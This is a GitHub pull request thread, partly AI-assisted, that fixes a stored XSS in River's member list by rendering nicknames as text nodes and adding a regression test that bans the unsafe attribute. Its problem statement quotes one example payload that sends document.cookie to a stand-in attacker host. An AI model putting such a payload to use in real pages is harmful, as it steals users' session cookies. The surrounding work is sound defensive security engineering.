Conversation
## Problem
Member nicknames came from each member's own signed
`MemberInfoV1.preferred_nickname` blob — attacker-controllable bytes
that River's cross-validation only checks for signature, not content. A
member could set their nickname to e.g.
`<img src=x onerror="fetch('https://attacker/'+document.cookie)">` and
every other room member's browser would execute the payload when
opening the member list.
The hole was at `ui/src/components/members.rs`:
- `format_member_display()` concatenated `member.nickname` with hand-
built `<span>` tags into a single HTML string.
- The member-row render then routed that string through
`dangerous_inner_html`, evaluating the nickname's HTML/JS verbatim.
## Approach
Eliminate the HTML-string concatenation pattern entirely rather than
add an escape pass on top.
- `format_member_display(&MemberDisplay) -> String` becomes
`member_display_parts(&MemberDisplay) -> MemberDisplayParts` (a
structured `{ nickname, tags }`).
- The render in `MemberList` emits the nickname as a plain Dioxus text
node and the tag icons as proper Dioxus child elements — no
`dangerous_inner_html` anywhere in the member-row tree.
This matches the project's "State Authorization Rule" precedent (PR
#226 fixed the analogous `<a>`-inside-`<button>` issue in the room
header) and removes the attack class structurally instead of relying
on every future caller to remember to escape.
The companion site flagged in the issue
(`ui/src/components/conversation.rs::beautify_freenet_label`) already
has a defensive HTML-character guard at line 638 that refuses to
beautify URLs containing `<`, `>`, or `"`, so it is not exploitable
today and is out of scope here.
## Testing
Three new tests in `ui/src/components/members.rs::tests`:
- `member_display_parts_keeps_nickname_unescaped_and_separated` —
verifies the function returns the raw nickname in a separate field
so the caller renders it as a text node (the structural guarantee).
- `member_display_parts_collects_tags_for_owner_and_self` — pins the
tag-collection behaviour the old function provided.
- `member_row_does_not_use_dangerous_inner_html` — source-grep pin
test: scans the `MemberList` component body for the literal
`dangerous_inner_html:` Dioxus attribute and fails CI if anyone
reintroduces it. This is the regression gate.
Full `cargo test -p river-ui --bins` passes (245 tests). Also verified
`cargo check -p river-ui --target wasm32-unknown-unknown --features no-sync`.
No WASM artifacts modified — UI-only change, no contract or delegate
key impact, no migration needed.
Closes #227
[AI-assisted - Claude]
Review feedback on #314: the original pin scanned a window between two `#[component]` markers and matched the literal `dangerous_inner_html:` substring, which leaves several easy bypasses: - A future helper component outside that window could host the unsafe attribute without tripping the pin. - Whitespace before the `:` (`attr : "..."`) would slip past. - Doc-comment text in the test module that *mentions* the attribute would falsely trip (or, conversely, suppress) the assertion. Replace with a stricter shape: - Slice the file at the `#[cfg(test)]` boundary. The production-code slice is what we lock down; the test module can talk about the attribute name freely. - Walk every occurrence of `dangerous_inner_html` in production code and assert the next non-whitespace char is NOT `:`. A bare mention in a code comment is fine; a Dioxus attribute use (with or without rustfmt-incidental whitespace) fails. - Apply the ban file-wide, not just to `MemberList`: none of this file's components legitimately need the unsafe attribute, so a blanket file-level ban is the strongest gate against a refactor that moves the row into a sibling component. - Keep the text-node pin (`span { "{parts.nickname}" }`) but read it from the same production slice. Also drops a stale `format_member_display` mention in `ui/tests/invite-via-dm-picker.spec.ts` flagged by big-picture review — the function was renamed in the parent commit. No behaviour change; no WASM artifacts modified. [AI-assisted - Claude]
Multi-Model Review — PR #314Ran the four parallel Blocking findingsNone. All four reviewers agreed the fix structurally closes the XSS:
MAJOR — pin-test bypass surface (skeptical + testing reviewers)Original pin: scanned a window bounded by
Addressed in
MINOR — visual tag spacing (code-first + Codex + skeptical reviewers)Tags previously rendered as MINOR — stale comment in Playwright test (big-picture reviewer)
NOTE — other
|
Publishes the XSS fix from #314 (and any other UI-only changes since the last publish at 30000320) to the live River contract. Local counter was at 30000321 (from the #312 publish bump). First publish attempt this session bumped it to 30000322 and failed: on- network was already at 30000322 (someone published outside the committed counter). Per AGENTS.md "version-number gaps are fine; the contract enforces monotonicity, not contiguity" — manually bumped to 30000322 so the script incremented to 30000323 on retry; that publish succeeded. Verified on-network at 30000323 via local node.
Problem
Member nicknames come from each member's own signed
MemberInfoV1.preferred_nicknameblob — attacker-controllable bytes that River's cross-validation only checks for signature, not content. A member could set their nickname to e.g.and every other room member's browser would execute the payload when opening the member list.
The hole was at
ui/src/components/members.rs:format_member_display()concatenatedmember.nicknamedirectly into hand-built<span>tags as a single HTML string.dangerous_inner_html, evaluating the nickname's HTML/JS verbatim.Stored XSS, exploitable by any member of any room. Impact is broad because the iframe River loads inside still owns its own cookies / IndexedDB / WebSocket connections.
Approach
Eliminate the HTML-string concatenation pattern entirely rather than add an escape pass on top.
format_member_display(&MemberDisplay) -> Stringbecomesmember_display_parts(&MemberDisplay) -> MemberDisplayParts { nickname, tags }.MemberListemits the nickname as a plain Dioxus text node and the tag icons as proper Dioxus child elements — nodangerous_inner_htmlanywhere in the member-row tree.This matches the project's State Authorization precedent (PR #226 fixed the analogous
<a>-inside-<button>issue in the room header) and removes the attack class structurally — future callers can't forget to escape, because the unsafe attribute is no longer on the path.The companion site flagged in the issue (
ui/src/components/conversation.rs::beautify_freenet_label) already has a defensive HTML-character guard at the function level that refuses to beautify URLs containing<,>, or". It's not exploitable today and is out of scope for this PR.Testing
Three new tests in
ui/src/components/members.rs::tests:member_display_parts_keeps_nickname_unescaped_and_separated— verifies the function returns the raw nickname in a separate field so the caller renders it as a text node (the structural guarantee).member_display_parts_collects_tags_for_owner_and_self— pins the tag-collection behaviour the old function provided.member_row_does_not_use_dangerous_inner_html— source-grep pin test: scans theMemberListcomponent body for the literaldangerous_inner_html:Dioxus attribute and fails CI if anyone reintroduces it. This is the regression gate.Local validation:
cargo test -p river-ui --bins— 245 tests pass.cargo check -p river-ui --target wasm32-unknown-unknown --features no-sync— clean.cargo clippy -p river-ui --bins --all-features— no new lints inmembers.rs.No WASM artifacts touched — UI-only change, no contract or delegate key impact, no migration needed.
Closes #227
[AI-assisted - Claude]